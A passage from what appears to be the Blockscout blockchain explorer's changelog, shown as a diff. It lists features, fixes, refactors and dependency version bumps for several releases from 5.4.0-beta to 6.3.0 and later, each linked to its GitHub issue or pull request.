readers in API controller ([#9749](https://github.com/blockscout/blockscout/issues/9749)) +- Add missing preloads ([#9520](https://github.com/blockscout/blockscout/issues/9520)) +- Change CoinGecko token image attribute priority ([#9671](https://github.com/blockscout/blockscout/issues/9671)) +- Fix Geth block tracing errors handling ([#9672](https://github.com/blockscout/blockscout/issues/9672)) +- Erc-404 token transfers null value ([#9698](https://github.com/blockscout/blockscout/issues/9698)) +- Erc-404 type stored in token balances tables ([#9700](https://github.com/blockscout/blockscout/issues/9700)) + +### 🚜 Refactor + +- `Enum.count` to `Enum.empty?` ([#9666](https://github.com/blockscout/blockscout/issues/9666)) + +### ⚡ Performance + +- Add EIP4844 blob transactions index ([#9661](https://github.com/blockscout/blockscout/issues/9661)) + +### ⚙️ Miscellaneous Tasks + +- Rework chain type matrix in CI runs ([#9704](https://github.com/blockscout/blockscout/issues/9704)) +- Exclude latest tag update from alpha releases ([#9800](https://github.com/blockscout/blockscout/issues/9800)) +- Reduce default API v1 limit by key 50 -> 10 ([#9799](https://github.com/blockscout/blockscout/issues/9799)) +- Bump autoprefixer in /apps/block_scout_web/assets ([#9786](https://github.com/blockscout/blockscout/issues/9786)) +- Remove /api/account/v1 path ([#9660](https://github.com/blockscout/blockscout/issues/9660)) +- Bump sass from 1.71.1 to 1.72.0 in /apps/block_scout_web/assets ([#9780](https://github.com/blockscout/blockscout/issues/9780)) +- Bump @babel/core in /apps/block_scout_web/assets ([#9782](https://github.com/blockscout/blockscout/issues/9782)) +- Bump webpack in /apps/block_scout_web/assets ([#9787](https://github.com/blockscout/blockscout/issues/9787)) +- Bump postcss in /apps/block_scout_web/assets ([#9785](https://github.com/blockscout/blockscout/issues/9785)) +- Bump @amplitude/analytics-browser in /apps/block_scout_web/assets ([#9788](https://github.com/blockscout/blockscout/issues/9788)) +- Bump solc from 0.8.24 to 0.8.25 in /apps/explorer ([#9789](https://github.com/blockscout/blockscout/issues/9789)) +- Bump sweetalert2 in /apps/block_scout_web/assets ([#9783](https://github.com/blockscout/blockscout/issues/9783)) +- Bump @babel/preset-env in /apps/block_scout_web/assets ([#9784](https://github.com/blockscout/blockscout/issues/9784)) +- Bump core-js in /apps/block_scout_web/assets ([#9781](https://github.com/blockscout/blockscout/issues/9781)) +- Enable Rust sc-verifier microservice by default ([#9752](https://github.com/blockscout/blockscout/issues/9752)) +- Temporarily ignore OP batches written to Celestia ([#9734](https://github.com/blockscout/blockscout/issues/9734)) +- Bump cldr_utils from 2.24.2 to 2.25.0 ([#9723](https://github.com/blockscout/blockscout/issues/9723)) +- Bump express in /apps/block_scout_web/assets ([#9725](https://github.com/blockscout/blockscout/issues/9725)) +- Bump bureaucrat from 0.2.9 to 0.2.10 ([#9669](https://github.com/blockscout/blockscout/issues/9669)) +- Fix typos ([#9693](https://github.com/blockscout/blockscout/issues/9693)) +- Bump follow-redirects from 1.15.4 to 1.15.6 in /apps/explorer ([#9648](https://github.com/blockscout/blockscout/issues/9648)) +- Bump floki from 0.36.0 to 0.36.1 ([#9670](https://github.com/blockscout/blockscout/issues/9670)) +- Use git-cliff changelog generator ([#9687](https://github.com/blockscout/blockscout/issues/9687)) + +## 6.3.0 ### Features +- [#9631](https://github.com/blockscout/blockscout/pull/9631) - Initial support of zksync chain type +- [#9532](https://github.com/blockscout/blockscout/pull/9532) - Add last output root size counter +- [#9511](https://github.com/blockscout/blockscout/pull/9511) - Separate errors by type in EndpointAvailabilityObserver +- [#9490](https://github.com/blockscout/blockscout/pull/9490), [#9644](https://github.com/blockscout/blockscout/pull/9644) - Add blob transaction counter and filter in block view +- [#9486](https://github.com/blockscout/blockscout/pull/9486) - Massive blocks fetcher +- [#9483](https://github.com/blockscout/blockscout/pull/9483) - Add secondary coin and transaction stats +- [#9473](https://github.com/blockscout/blockscout/pull/9473) - Add user_op interpretation +- [#9461](https://github.com/blockscout/blockscout/pull/9461) - Fetch blocks without internal transactions backwards +- [#9460](https://github.com/blockscout/blockscout/pull/9460) - Optimism chain type +- [#9409](https://github.com/blockscout/blockscout/pull/9409) - ETH JSON RPC extension +- [#9390](https://github.com/blockscout/blockscout/pull/9390) - Add stability validators +- [#8702](https://github.com/blockscout/blockscout/pull/8702) - Add OP withdrawal status to transaction page in API +- [#7200](https://github.com/blockscout/blockscout/pull/7200) - Add Optimism BedRock Deposits to the main page in API +- [#6980](https://github.com/blockscout/blockscout/pull/6980) - Add Optimism BedRock support (Txn Batches, Output Roots, Deposits, Withdrawals) + +### Fixes + +- [#9654](https://github.com/blockscout/blockscout/pull/9654) - Send timeout param in debug_traceBlockByNumber request +- [#9653](https://github.com/blockscout/blockscout/pull/9653) - Tokens import improvements +- [#9652](https://github.com/blockscout/blockscout/pull/9652) - Remove duplicated tx hashes while indexing OP batches +- [#9646](https://github.com/blockscout/blockscout/pull/9646) - Hotfix for Optimism Ecotone batch blobs indexing +- [#9640](https://github.com/blockscout/blockscout/pull/9640) - Fix no function clause matching in `BENS.item_to_address_hash_strings/1` +- [#9638](https://github.com/blockscout/blockscout/pull/9638) - Do not broadcast coin balance changes with empty value/delta +- [#9635](https://github.com/blockscout/blockscout/pull/9635) - Reset missing ranges collector to max number after the cycle is done +- [#9629](https://github.com/blockscout/blockscout/pull/9629) - Don't insert pbo for not inserted blocks +- [#9620](https://github.com/blockscout/blockscout/pull/9620) - Fix infinite retries for orphaned blobs +- [#9601](https://github.com/blockscout/blockscout/pull/9601) - Fix token instance transform for some unconventional tokens +- [#9597](https://github.com/blockscout/blockscout/pull/9597) - Update token transfers block_consensus by block_number +- [#9596](https://github.com/blockscout/blockscout/pull/9596) - Fix logging +- [#9585](https://github.com/blockscout/blockscout/pull/9585) - Fix Geth block internal transactions fetching +- [#9576](https://github.com/blockscout/blockscout/pull/9576) - Rewrite query for token transfers on address to eliminate "or" +- [#9572](https://github.com/blockscout/blockscout/pull/9572) - Fix Shibarium L1 fetcher +- [#9563](https://github.com/blockscout/blockscout/pull/9563) - Fix timestamp handler for unfinalized zkEVM batches +- [#9560](https://github.com/blockscout/blockscout/pull/9560) - Fix fetch pending transaction for hyperledger besu client +- [#9555](https://github.com/blockscout/blockscout/pull/9555) - Fix EIP-1967 beacon proxy pattern detection +- [#9529](https://github.com/blockscout/blockscout/pull/9529) - Fix `MAX_SAFE_INTEGER` frontend bug +- [#9518](https://github.com/blockscout/blockscout/pull/9518), [#9628](https://github.com/blockscout/blockscout/pull/9628) - Fix MultipleResultsError in `smart_contract_creation_tx_bytecode/1` +- [#9514](https://github.com/blockscout/blockscout/pull/9514) - Fix missing `0x` prefix for `blockNumber`, `logIndex`, `transactionIndex` and remove `transactionLogIndex` in `eth_getLogs` response. +- [#9510](https://github.com/blockscout/blockscout/pull/9510) - Fix WS false 0 token balances +- [#9512](https://github.com/blockscout/blockscout/pull/9512) - Docker-compose 2.24.6 compatibility +- [#9407](https://github.com/blockscout/blockscout/pull/9407) - ERC-404 basic support +- [#9262](https://github.com/blockscout/blockscout/pull/9262) - Fix withdrawal status +- [#9123](https://github.com/blockscout/blockscout/pull/9123) - Fixes in Optimism due to changed log topics type +- [#8831](https://github.com/blockscout/blockscout/pull/8831) - Return all OP Withdrawals bound to L2 transaction +- [#8822](https://github.com/blockscout/blockscout/pull/8822) - Hotfix for optimism_withdrawal_transaction_status function +- [#8811](https://github.com/blockscout/blockscout/pull/8811) - Consider consensus block only when retrieving OP withdrawal transaction status +- [#8364](https://github.com/blockscout/blockscout/pull/8364) - Fix API v2 for OP Withdrawals +- [#8229](https://github.com/blockscout/blockscout/pull/8229) - Fix Indexer.Fetcher.OptimismTxnBatch +- [#8208](https://github.com/blockscout/blockscout/pull/8208) - Ignore invalid frame by OP transaction batches module +- [#8122](https://github.com/blockscout/blockscout/pull/8122) - Ignore previously handled frame by OP transaction batches module +- [#7827](https://github.com/blockscout/blockscout/pull/7827) - Fix transaction batches module for L2 OP stack +- [#7776](https://github.com/blockscout/blockscout/pull/7776) - Fix transactions ordering in Indexer.Fetcher.OptimismTxnBatch +- [#7219](https://github.com/blockscout/blockscout/pull/7219) - Output L1 fields in API v2 for transaction page and fix transaction fee calculation +- [#6699](https://github.com/blockscout/blockscout/pull/6699) - L1 tx fields fix for Goerli Optimism BedRock update + +### Chore + +- [#9622](https://github.com/blockscout/blockscout/pull/9622) - Add alternative `hex.pm` mirrors +- [#9571](https://github.com/blockscout/blockscout/pull/9571) - Support Optimism Ecotone upgrade by Indexer.Fetcher.Optimism.TxnBatch module +- [#9562](https://github.com/blockscout/blockscout/pull/9562) - Add cancun evm version +- [#9506](https://github.com/blockscout/blockscout/pull/9506) - API v1 bridgedtokenlist endpoint +- [#9260](https://github.com/blockscout/blockscout/pull/9260) - Optimism Delta upgrade support by Indexer.Fetcher.OptimismTxnBatch module +- [#8740](https://github.com/blockscout/blockscout/pull/8740) - Add delay to Indexer.Fetcher.OptimismTxnBatch module initialization + +
+ Dependencies version bumps + +- [#9544](https://github.com/blockscout/blockscout/pull/9544) - Bump @babel/core from 7.23.9 to 7.24.0 in /apps/block_scout_web/assets +- [#9537](https://github.com/blockscout/blockscout/pull/9537) - Bump logger_json from 5.1.3 to 5.1.4 +- [#9550](https://github.com/blockscout/blockscout/pull/9550) - Bump xss from 1.0.14 to 1.0.15 in /apps/block_scout_web/assets +- [#9539](https://github.com/blockscout/blockscout/pull/9539) - Bump floki from 0.35.4 to 0.36.0 +- [#9551](https://github.com/blockscout/blockscout/pull/9551) - Bump @amplitude/analytics-browser from 2.5.1 to 2.5.2 in /apps/block_scout_web/assets +- [#9547](https://github.com/blockscout/blockscout/pull/9547) - Bump @babel/preset-env from 7.23.9 to 7.24.0 in /apps/block_scout_web/assets +- [#9549](https://github.com/blockscout/blockscout/pull/9549) - Bump postcss-loader from 8.1.0 to 8.1.1 in /apps/block_scout_web/assets +- [#9542](https://github.com/blockscout/blockscout/pull/9542) - Bump phoenix_ecto from 4.4.3 to 4.5.0 +- [#9546](https://github.com/blockscout/blockscout/pull/9546) - https://github.com/blockscout/blockscout/pull/9546 +- [#9545](https://github.com/blockscout/blockscout/pull/9545) - Bump chart.js from 4.4.1 to 4.4.2 in /apps/block_scout_web/assets +- [#9540](https://github.com/blockscout/blockscout/pull/9540) - Bump postgrex from 0.17.4 to 0.17.5 +- [#9543](https://github.com/blockscout/blockscout/pull/9543) - Bump ueberauth from 0.10.7 to 0.10.8 +- [#9538](https://github.com/blockscout/blockscout/pull/9538) - Bump credo from 1.7.4 to 1.7.5 +- [#9607](https://github.com/blockscout/blockscout/pull/9607) - Bump redix from 1.3.0 to 1.4.1 +- [#9606](https://github.com/blockscout/blockscout/pull/9606) - Bump ecto from 3.11.1 to 3.11.2 +- [#9605](https://github.com/blockscout/blockscout/pull/9605) - Bump ex_doc from 0.31.1 to 0.31.2 +- [#9604](https://github.com/blockscout/blockscout/pull/9604) - Bump phoenix_ecto from 4.5.0 to 4.5.1 + +
+ +## 6.2.2 + +### Features + +### Fixes + +- [#9505](https://github.com/blockscout/blockscout/pull/9505) - Add env vars for NFT sanitize migration + +### Chore + +- [#9487](https://github.com/blockscout/blockscout/pull/9487) - Add tsvector index on smart_contracts.name + +
+ Dependencies version bumps + +
+ +## 6.2.1 + +### Features + +### Fixes + +- [#9591](https://github.com/blockscout/blockscout/pull/9591) - Fix duplicated results in `methods-read` endpoint +- [#9502](https://github.com/blockscout/blockscout/pull/9502) - Add batch_size and concurrency envs for tt token type migration +- [#9493](https://github.com/blockscout/blockscout/pull/9493) - Fix API response for unknown blob hashes +- [#9484](https://github.com/blockscout/blockscout/pull/9484) - Fix read contract error +- [#9426](https://github.com/blockscout/blockscout/pull/9426) - Fix tabs counter cache bug + +### Chore + +
+ Dependencies version bumps + +- [#9478](https://github.com/blockscout/blockscout/pull/9478) - Bump floki from 0.35.3 to 0.35.4 +- [#9477](https://github.com/blockscout/blockscout/pull/9477) - Bump hammer from 6.2.0 to 6.2.1 +- [#9476](https://github.com/blockscout/blockscout/pull/9476) - Bump eslint from 8.56.0 to 8.57.0 in /apps/block_scout_web/assets +- [#9475](https://github.com/blockscout/blockscout/pull/9475) - Bump @amplitude/analytics-browser from 2.4.1 to 2.5.1 in /apps/block_scout_web/assets +- [#9474](https://github.com/blockscout/blockscout/pull/9474) - Bump sass from 1.71.0 to 1.71.1 in /apps/block_scout_web/assets +- [#9492](https://github.com/blockscout/blockscout/pull/9492) - Bump es5-ext from 0.10.62 to 0.10.64 in /apps/block_scout_web/assets + +
+ +## 6.2.0 + +### Features + +- [#9441](https://github.com/blockscout/blockscout/pull/9441) - Update BENS integration: change endpoint for resolving address in search +- [#9437](https://github.com/blockscout/blockscout/pull/9437) - Add Enum.uniq before sanitizing token transfers +- [#9403](https://github.com/blockscout/blockscout/pull/9403) - Null round handling +- [#9401](https://github.com/blockscout/blockscout/pull/9401) - Eliminate incorrect token transfers with empty token_ids +- [#9396](https://github.com/blockscout/blockscout/pull/9396) - More-Minimal Proxy support +- [#9386](https://github.com/blockscout/blockscout/pull/9386) - Filecoin JSON RPC variant +- [#9379](https://github.com/blockscout/blockscout/pull/9379) - Filter non-traceable transactions for zetachain +- [#9364](https://github.com/blockscout/blockscout/pull/9364) - Fix using of startblock/endblock in API v1 list endpoints: txlist, txlistinternal, tokentx +- [#9360](https://github.com/blockscout/blockscout/pull/9360) - Move missing ranges sanitize to a separate background migration +- [#9351](https://github.com/blockscout/blockscout/pull/9351) - Noves.fi: add proxy endpoint for describeTxs endpoint +- [#9282](https://github.com/blockscout/blockscout/pull/9282) - Add `license_type` to smart contracts +- [#9202](https://github.com/blockscout/blockscout/pull/9202) - Add base and priority fee to gas oracle response +- [#9182](https://github.com/blockscout/blockscout/pull/9182) - Fetch coin balances in async mode in realtime fetcher +- [#9168](https://github.com/blockscout/blockscout/pull/9168) - Support EIP4844 blobs indexing & API +- [#9098](https://github.com/blockscout/blockscout/pull/9098) - Polygon zkEVM Bridge indexer and API v2 extension + +### Fixes + +- [#9444](https://github.com/blockscout/blockscout/pull/9444) - Fix quick search bug +- [#9440](https://github.com/blockscout/blockscout/pull/9440) - Add `debug_traceBlockByNumber` to `method_to_url` +- [#9387](https://github.com/blockscout/blockscout/pull/9387) - Filter out Vyper contracts in Solidityscan API endpoint +- [#9377](https://github.com/blockscout/blockscout/pull/9377) - Speed up account abstraction proxy +- [#9371](https://github.com/blockscout/blockscout/pull/9371) - Filter empty values before token update +- [#9356](https://github.com/blockscout/blockscout/pull/9356) - Remove ERC-1155 logs params from coin balances params +- [#9346](https://github.com/blockscout/blockscout/pull/9346) - Process integer balance in genesis.json +- [#9317](https://github.com/blockscout/blockscout/pull/9317) - Include null gas price txs in fee calculations +- [#9315](https://github.com/blockscout/blockscout/pull/9315) - Fix manual uncle reward calculation +- [#9306](https://github.com/blockscout/blockscout/pull/9306) - Improve marking of failed internal transactions +- [#9305](https://github.com/blockscout/blockscout/pull/9305) - Add effective gas price calculation as fallback +- [#9300](https://github.com/blockscout/blockscout/pull/9300) - Fix read contract bug +- [#9226](https://github.com/blockscout/blockscout/pull/9226) - Split Indexer.Fetcher.TokenInstance.LegacySanitize + +### Chore + +- [#9439](https://github.com/blockscout/blockscout/pull/9439) - Solidityscan integration enhancements +- [#9398](https://github.com/blockscout/blockscout/pull/9398) - Improve elixir dependencies caching in CI +- [#9393](https://github.com/blockscout/blockscout/pull/9393) - Bump actions/cache to v4 +- [#9389](https://github.com/blockscout/blockscout/pull/9389) - Output user address as an object in API v2 for Shibarium +- [#9361](https://github.com/blockscout/blockscout/pull/9361) - Define BRIDGED_TOKENS_ENABLED env in Dockerfile +- [#9257](https://github.com/blockscout/blockscout/pull/9257) - Retry token instance metadata fetch from baseURI + tokenID +- [#8851](https://github.com/blockscout/blockscout/pull/8851) - Fix dialyzer and add TypedEctoSchema + +
+ Dependencies version bumps + +- [#9335](https://github.com/blockscout/blockscout/pull/9335) - Bump mini-css-extract-plugin from 2.7.7 to 2.8.0 in /apps/block_scout_web/assets +- [#9333](https://github.com/blockscout/blockscout/pull/9333) - Bump sweetalert2 from 11.10.3 to 11.10.5 in /apps/block_scout_web/assets +- [#9288](https://github.com/blockscout/blockscout/pull/9288) - Bump solc from 0.8.23 to 0.8.24 in /apps/explorer +- [#9287](https://github.com/blockscout/blockscout/pull/9287) - Bump @babel/preset-env from 7.23.8 to 7.23.9 in /apps/block_scout_web/assets +- [#9331](https://github.com/blockscout/blockscout/pull/9331) - Bump logger_json from 5.1.2 to 5.1.3 +- [#9330](https://github.com/blockscout/blockscout/pull/9330) - Bump hammer from 6.1.0 to 6.2.0 +- [#9294](https://github.com/blockscout/blockscout/pull/9294) - Bump exvcr from 0.15.0 to 0.15.1 +- [#9293](https://github.com/blockscout/blockscout/pull/9293) - Bump floki from 0.35.2 to 0.35.3 +- [#9338](https://github.com/blockscout/blockscout/pull/9338) - Bump postcss-loader from 8.0.0 to 8.1.0 in /apps/block_scout_web/assets +- [#9336](https://github.com/blockscout/blockscout/pull/9336) - Bump web3 from 1.10.3 to 1.10.4 in /apps/block_scout_web/assets +- [#9290](https://github.com/blockscout/blockscout/pull/9290) - Bump ex_doc from 0.31.0 to 0.31.1 +- [#9285](https://github.com/blockscout/blockscout/pull/9285) - Bump @amplitude/analytics-browser from 2.3.8 to 2.4.0 in /apps/block_scout_web/assets +- [#9283](https://github.com/blockscout/blockscout/pull/9283) - Bump @babel/core from 7.23.7 to 7.23.9 in /apps/block_scout_web/assets +- [#9337](https://github.com/blockscout/blockscout/pull/9337) - Bump css-loader from 6.9.1 to 6.10.0 in /apps/block_scout_web/assets +- [#9334](https://github.com/blockscout/blockscout/pull/9334) - Bump sass-loader from 14.0.0 to 14.1.0 in /apps/block_scout_web/assets +- [#9339](https://github.com/blockscout/blockscout/pull/9339) - Bump webpack from 5.89.0 to 5.90.1 in /apps/block_scout_web/assets +- [#9383](https://github.com/blockscout/blockscout/pull/9383) - Bump credo from 1.7.3 to 1.7.4 +- [#9384](https://github.com/blockscout/blockscout/pull/9384) - Bump postcss from 8.4.33 to 8.4.35 in /apps/block_scout_web/assets +- [#9385](https://github.com/blockscout/blockscout/pull/9385) - Bump mixpanel-browser from 2.48.1 to 2.49.0 in /apps/block_scout_web/assets +- [#9423](https://github.com/blockscout/blockscout/pull/9423) - Bump @amplitude/analytics-browser from 2.4.0 to 2.4.1 in /apps/block_scout_web/assets +- [#9422](https://github.com/blockscout/blockscout/pull/9422) - Bump core-js from 3.35.1 to 3.36.0 in /apps/block_scout_web/assets +- [#9424](https://github.com/blockscout/blockscout/pull/9424) - Bump webpack from 5.90.1 to 5.90.3 in /apps/block_scout_web/assets +- [#9425](https://github.com/blockscout/blockscout/pull/9425) - Bump sass-loader from 14.1.0 to 14.1.1 in /apps/block_scout_web/assets +- [#9421](https://github.com/blockscout/blockscout/pull/9421) - Bump sass from 1.70.0 to 1.71.0 in /apps/block_scout_web/assets + +
+ +## 6.1.0 + +### Features + +- [#9189](https://github.com/blockscout/blockscout/pull/9189) - User operations in the search +- [#9169](https://github.com/blockscout/blockscout/pull/9169) - Add bridged tokens functionality to master branch +- [#9158](https://github.com/blockscout/blockscout/pull/9158) - Increase shared memory for PostgreSQL containers +- [#9155](https://github.com/blockscout/blockscout/pull/9155) - Allow bypassing avg block time in proxy implementation re-fetch ttl calculation +- [#9148](https://github.com/blockscout/blockscout/pull/9148) - Add `/api/v2/utils/decode-calldata` +- [#9145](https://github.com/blockscout/blockscout/pull/9145), [#9309](https://github.com/blockscout/blockscout/pull/9309) - Proxy for Account abstraction microservice +- [#9132](https://github.com/blockscout/blockscout/pull/9132) - Fetch token image from CoinGecko +- [#9131](https://github.com/blockscout/blockscout/pull/9131) - Merge addresses stage with address referencing +- [#9120](https://github.com/blockscout/blockscout/pull/9120) - Add GET and POST `/api/v2/smart-contracts/:address_hash/audit-reports` +- [#9072](https://github.com/blockscout/blockscout/pull/9072) - Add tracing by block logic for geth +- [#9185](https://github.com/blockscout/blockscout/pull/9185), [#9068](https://github.com/blockscout/blockscout/pull/9068) - New RPC API v1 endpoints +- [#9056](https://github.com/blockscout/blockscout/pull/9056) - Noves.fi API proxy + ### Fixes +- [#9275](https://github.com/blockscout/blockscout/pull/9275) - Tx summary endpoint fixes +- [#9261](https://github.com/blockscout/blockscout/pull/9261) - Fix pending transactions sanitizer +- [#9253](https://github.com/blockscout/blockscout/pull/9253) - Don't fetch first trace for pending transactions +- [#9241](https://github.com/blockscout/blockscout/pull/9241) - Fix log decoding bug +- [#9234](https://github.com/blockscout/blockscout/pull/9234) - Add missing filters by non-pending transactions +- [#9229](https://github.com/blockscout/blockscout/pull/9229) - Add missing filter to txlist query +- [#9195](https://github.com/blockscout/blockscout/pull/9195) - API v1 allow multiple slashes in the path before "api" +- [#9187](https://github.com/blockscout/blockscout/pull/9187) - Fix Internal Server Error on request for nonexistent token instance +- [#9178](https://github.com/blockscout/blockscout/pull/9178) - Change internal txs tracer type to opcode for Hardhat node +- [#9173](https://github.com/blockscout/blockscout/pull/9173) - Exclude genesis block from average block time calculation +- [#9143](https://github.com/blockscout/blockscout/pull/9143) - Handle nil token_ids in token transfers on render +- [#9139](https://github.com/blockscout/blockscout/pull/9139) - TokenBalanceOnDemand fixes +- [#9125](https://github.com/blockscout/blockscout/pull/9125) - Fix Explorer.Chain.Cache.GasPriceOracle.merge_fees +- [#9124](https://github.com/blockscout/blockscout/pull/9124) - EIP-1167 display multiple sources of implementation +- [#9110](https://github.com/blockscout/blockscout/pull/9110) - Improve update_in in gas tracker +- [#9109](https://github.com/blockscout/blockscout/pull/9109) - Return current exchange rate in api/v2/stats +- [#9102](https://github.com/blockscout/blockscout/pull/9102) - Fix some log topics for Suave and Polygon Edge +- [#9075](https://github.com/blockscout/blockscout/pull/9075) - Fix fetching contract codes +- [#9073](https://github.com/blockscout/blockscout/pull/9073) - Allow payable function with output appear in the Read tab +- [#9069](https://github.com/blockscout/blockscout/pull/9069) - Fetch realtime coin balances only for addresses for which it has changed + ### Chore +- [#9323](https://github.com/blockscout/blockscout/pull/9323) - Change index creation to concurrent +- [#9322](https://github.com/blockscout/blockscout/pull/9322) - Create repo setup actions +- [#9303](https://github.com/blockscout/blockscout/pull/9303) - Add workflow for Shibarium +- [#9233](https://github.com/blockscout/blockscout/pull/9233) - "cataloged" index on tokens table +- [#9198](https://github.com/blockscout/blockscout/pull/9198) - Make Postgres@15 default option +- [#9197](https://github.com/blockscout/blockscout/pull/9197) - Add `MARKET_HISTORY_FETCH_INTERVAL` env +- [#9196](https://github.com/blockscout/blockscout/pull/9196) - Compatibility with docker-compose 2.24 +- [#9193](https://github.com/blockscout/blockscout/pull/9193) - Equalize elixir stack versions +- [#9153](https://github.com/blockscout/blockscout/pull/9153) - Enhanced unfetched token balances index + +
+ Dependencies version bumps + +- [#9119](https://github.com/blockscout/blockscout/pull/9119) - Bump sass from 1.69.6 to 1.69.7 in /apps/block_scout_web/assets +- [#9126](https://github.com/blockscout/blockscout/pull/9126) - Bump follow-redirects from 1.14.8 to 1.15.4 in /apps/explorer +- [#9116](https://github.com/blockscout/blockscout/pull/9116) - Bump ueberauth from 0.10.5 to 0.10.7 +- [#9118](https://github.com/blockscout/blockscout/pull/9118) - Bump postcss from 8.4.32 to 8.4.33 in /apps/block_scout_web/assets +- [#9161](https://github.com/blockscout/blockscout/pull/9161) - Bump sass-loader from 13.3.3 to 14.0.0 in /apps/block_scout_web/assets +- [#9160](https://github.com/blockscout/blockscout/pull/9160) - Bump copy-webpack-plugin from 11.0.0 to 12.0.1 in /apps/block_scout_web/assets +- [#9165](https://github.com/blockscout/blockscout/pull/9165) - Bump sweetalert2 from 11.10.2 to 11.10.3 in /apps/block_scout_web/assets +- [#9163](https://github.com/blockscout/blockscout/pull/9163) - Bump mini-css-extract-plugin from 2.7.6 to 2.7.7 in /apps/block_scout_web/assets +- [#9159](https://github.com/blockscout/blockscout/pull/9159) - Bump @babel/preset-env from 7.23.7 to 7.23.8 in /apps/block_scout_web/assets +- [#9162](https://github.com/blockscout/blockscout/pull/9162) - Bump style-loader from 3.3.3 to 3.3.4 in /apps/block_scout_web/assets +- [#9164](https://github.com/blockscout/blockscout/pull/9164) - Bump css-loader from 6.8.1 to 6.9.0 in /apps/block_scout_web/assets +- [#8686](https://github.com/blockscout/blockscout/pull/8686) - Bump dialyxir from 1.4.1 to 1.4.2 +- [#8861](https://github.com/blockscout/blockscout/pull/8861) - Bump briefly from 51dfe7f to 4836ba3 +- [#9117](https://github.com/blockscout/blockscout/pull/9117) - Bump credo from 1.7.1 to 1.7.3 +- [#9222](https://github.com/blockscout/blockscout/pull/9222) - Bump dialyxir from 1.4.2 to 1.4.3 +- [#9219](https://github.com/blockscout/blockscout/pull/9219) - Bump sass from 1.69.7 to 1.70.0 in /apps/block_scout_web/assets +- [#9224](https://github.com/blockscout/blockscout/pull/9224) - Bump ex_cldr_numbers from 2.32.3 to 2.32.4 +- [#9220](https://github.com/blockscout/blockscout/pull/9220) - Bump copy-webpack-plugin from 12.0.1 to 12.0.2 in /apps/block_scout_web/assets +- [#9216](https://github.com/blockscout/blockscout/pull/9216) - Bump core-js from 3.35.0 to 3.35.1 in /apps/block_scout_web/assets +- [#9218](https://github.com/blockscout/blockscout/pull/9218) - Bump postcss-loader from 7.3.4 to 8.0.0 in /apps/block_scout_web/assets +- [#9223](https://github.com/blockscout/blockscout/pull/9223) - Bump plug_cowboy from 2.6.1 to 2.6.2 +- [#9217](https://github.com/blockscout/blockscout/pull/9217) - Bump css-loader from 6.9.0 to 6.9.1 in /apps/block_scout_web/assets +- [#9215](https://github.com/blockscout/blockscout/pull/9215) - Bump css-minimizer-webpack-plugin from 5.0.1 to 6.0.0 in /apps/block_scout_web/assets +- [#9221](https://github.com/blockscout/blockscout/pull/9221) - Bump autoprefixer from 10.4.16 to 10.4.17 in /apps/block_scout_web/assets + +
+ +## 6.0.0 + +### Features + +- [#9112](https://github.com/blockscout/blockscout/pull/9112) - Add specific url for eth_call +- [#9044](https://github.com/blockscout/blockscout/pull/9044) - Expand gas price oracle functionality + +### Fixes + +- [#9113](https://github.com/blockscout/blockscout/pull/9113) - Fix migrators cache updating +- [#9101](https://github.com/blockscout/blockscout/pull/9101) - Fix migration_finished? logic +- [#9062](https://github.com/blockscout/blockscout/pull/9062) - Fix blockscout-ens integration +- [#9061](https://github.com/blockscout/blockscout/pull/9061) - Arbitrum allow tx receipt gasUsedForL1 field +- [#8812](https://github.com/blockscout/blockscout/pull/8812) - Update existing tokens type if got transfer with higher type priority + +### Chore + +- [#9055](https://github.com/blockscout/blockscout/pull/9055) - Add ASC indices for logs, token transfers, transactions +- [#9038](https://github.com/blockscout/blockscout/pull/9038) - Token type filling migrations +- [#9009](https://github.com/blockscout/blockscout/pull/9009) - Index for block refetch_needed +- [#9007](https://github.com/blockscout/blockscout/pull/9007) - Drop logs type index +- [#9006](https://github.com/blockscout/blockscout/pull/9006) - Drop unused indexes on address_current_token_balances table +- [#9005](https://github.com/blockscout/blockscout/pull/9005) - Drop unused token_id column from token_transfers table and indexes based on this column +- [#9000](https://github.com/blockscout/blockscout/pull/9000) - Change log topic type in the DB to bytea +- [#8996](https://github.com/blockscout/blockscout/pull/8996) - Refine token transfers token ids index +- [#8776](https://github.com/blockscout/blockscout/pull/8776) - DB denormalization: block consensus and timestamp in transaction table + +
+ Dependencies version bumps + +- [#9059](https://github.com/blockscout/blockscout/pull/9059) - Bump redux from 5.0.0 to 5.0.1 in /apps/block_scout_web/assets +- [#9057](https://github.com/blockscout/blockscout/pull/9057) - Bump benchee from 1.2.0 to 1.3.0 +- [#9060](https://github.com/blockscout/blockscout/pull/9060) - Bump @amplitude/analytics-browser from 2.3.7 to 2.3.8 in /apps/block_scout_web/assets +- [#9084](https://github.com/blockscout/blockscout/pull/9084) - Bump @babel/preset-env from 7.23.6 to 7.23.7 in /apps/block_scout_web/assets +- [#9083](https://github.com/blockscout/blockscout/pull/9083) - Bump @babel/core from 7.23.6 to 7.23.7 in /apps/block_scout_web/assets +- [#9086](https://github.com/blockscout/blockscout/pull/9086) - Bump core-js from 3.34.0 to 3.35.0 in /apps/block_scout_web/assets +- [#9081](https://github.com/blockscout/blockscout/pull/9081) - Bump sweetalert2 from 11.10.1 to 11.10.2 in /apps/block_scout_web/assets +- [#9085](https://github.com/blockscout/blockscout/pull/9085) - Bump moment from 2.29.4 to 2.30.1 in /apps/block_scout_web/assets +- [#9087](https://github.com/blockscout/blockscout/pull/9087) - Bump postcss-loader from 7.3.3 to 7.3.4 in /apps/block_scout_web/assets +- [#9082](https://github.com/blockscout/blockscout/pull/9082) - Bump sass-loader from 13.3.2 to 13.3.3 in /apps/block_scout_web/assets +- [#9088](https://github.com/blockscout/blockscout/pull/9088) - Bump sass from 1.69.5 to 1.69.6 in /apps/block_scout_web/assets + +
+ +## 5.4.0-beta + +### Features + +- [#9018](https://github.com/blockscout/blockscout/pull/9018) - Add SmartContractRealtimeEventHandler +- [#8997](https://github.com/blockscout/blockscout/pull/8997) - Isolate throttable error count by request method +- [#8975](https://github.com/blockscout/blockscout/pull/8975) - Add EIP-4844 compatibility (not full support yet) +- [#8972](https://github.com/blockscout/blockscout/pull/8972) - BENS integration +- [#8960](https://github.com/blockscout/blockscout/pull/8960) - TRACE_BLOCK_RANGES env var +- [#8957](https://github.com/blockscout/blockscout/pull/8957) - Add Tx Interpreter Service integration +- [#8929](https://github.com/blockscout/blockscout/pull/8929) - Shibarium Bridge indexer and API v2 extension + +### Fixes + +- [#9039](https://github.com/blockscout/blockscout/pull/9039) - Fix tx input decoding in tx summary microservice request +- [#9035](https://github.com/blockscout/blockscout/pull/9035) - Handle Postgrex errors on NFT import +- [#9015](https://github.com/blockscout/blockscout/pull/9015) - Optimize NFT owner 